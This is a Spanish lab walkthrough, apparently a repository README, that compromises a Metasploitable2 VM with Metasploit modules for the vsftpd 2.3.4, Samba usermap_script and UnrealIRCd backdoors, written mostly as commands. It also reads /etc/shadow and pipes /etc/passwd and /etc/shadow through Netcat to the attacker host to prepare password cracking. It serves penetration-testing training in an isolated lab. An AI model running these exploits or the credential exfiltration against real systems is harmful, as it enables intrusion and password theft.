
Walkthrough completo de explotación con Metasploit contra Metasploitable2 — backdoor de vsftpd, Samba CVE-2007-2447, backdoor de UnrealIRCd, exfiltración con Netcat y preparación para el cracking de credenciales.
Un recorrido práctico de explotación con Metasploit Framework — desde la configuración de la base de datos PostgreSQL y el escaneo con db_nmap, pasando por tres shells de root vía vsftpd, Samba y UnrealIRCd, hasta la exfiltración de credenciales con Netcat.
Este repositorio documenta un compromiso completo de Metasploit contra Metasploitable2 en un laboratorio aislado de VirtualBox. Temas cubiertos:
db_nmap para guardar los resultados del escaneo directamente en la base de datosusermap_script)/etc/passwd y /etc/shadow con Netcat y combinarlos con unshadow| Máquina | Rol | Dirección IP |
|---|---|---|
| Kali Linux 2026.1 | Atacante | 192.168.1.4 |
| Metasploitable2 | Objetivo | 192.168.1.3 |
Red: 192.168.1.0/24 — red NAT completamente aislada dentro de VirtualBox.
# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init
# Launch Metasploit
msfconsole


msf6> db_status # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Se encontraron dos servidores FTP en Metasploitable2:
| Puerto | Servicio | Información |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
En julio de 2011, el archivo fuente de vsftpd 2.3.4 fue comprometido: se insertó un backdoor que
abre un shell de root en el puerto 6200 cuando el nombre de usuario FTP contiene :). CVE: CVE-2011-2523.
Diff del código: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Extraer contraseñas con hash:
cat /etc/shadow | grep '$1'

Las versiones 3.0.0–3.0.25rc3 de Samba pasan metacaracteres de shell en el campo de nombre de usuario
directamente a /bin/sh mediante la opción username map script — antes de que ocurra la autenticación.
Metasploitable2 ejecuta Samba 3.0.20-Debian.
msf6> search type:exploit name:samba
# ~7 exploits found
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
Pestaña 2 — Kali (recibiendo):
nc -l -p 4567 > passwd.txt
Pestaña 1 — Shell de exploit (enviando):
cat /etc/passwd | nc 192.168.1.4 4567


Repite para /etc/shadow y luego combina:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1 se distribuyó con un backdoor en su código fuente. Enviar AB al puerto
6667 hace que el servidor ejecute cualquier comando posterior como root, sin requerir autenticación.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Opciones requeridas:
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
info antes de exploit es un hábito que vale la pena adquirir: muestra el CVE, las versiones afectadas y las opciones requeridas| Opción | Valor | Descripción |
|---|
| RHOSTS | 192.168.1.3 | IP del objetivo |
| RPORT | 6667 | Puerto predeterminado de IRC |
| LHOST | 192.168.1.4 | IP del listener de Kali |
| payload | cmd/unix/bind_netcat | Shell bind vía Netcat |
| Error | Qué ocurre | Solución |
|---|
Omitir msfdb init | No hay base de datos: los resultados del escaneo no se guardan | Ejecuta sudo msfdb init una vez antes del primer uso |
No establecer LHOST | El shell inverso no tiene a dónde llamar | Establece siempre LHOST a la IP de tu Kali |
Ejecutar msfdb init en cada sesión | Sobrescribe los datos existentes | Ejecútalo una sola vez; compruébalo con sudo msfdb status |
| Puerto RPORT incorrecto | El exploit falla silenciosamente | Confirma el puerto con services antes de configurarlo |
| Cerrar el listener de Netcat demasiado pronto | Transferencia de archivos truncada | Espera un momento tras el comando con pipe antes de pulsar CTRL-C |
Omitir unshadow | Los crackers de contraseñas rechazan el formato de archivo dividido | Combina siempre passwd + shadow primero |